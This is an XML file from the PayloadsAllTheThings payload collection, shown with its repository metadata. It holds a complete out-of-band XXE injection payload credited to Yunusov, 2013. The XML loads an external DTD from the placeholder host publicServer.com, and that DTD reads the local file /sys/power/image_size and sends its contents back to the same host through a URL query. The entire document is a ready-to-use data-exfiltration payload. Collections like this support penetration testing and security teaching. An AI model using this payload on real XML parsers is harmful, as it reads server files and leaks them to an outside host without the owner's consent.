PayloadsAllTheThings/XXE injection/Files/XXE OOB Attack (Yunusov, 2013).xml
2018-08-12 00:17:58 +02:00

9 lines
No EOL
361 B
XML
Executable file

XXE OOB Attack (Yunusov, 2013)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>
File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;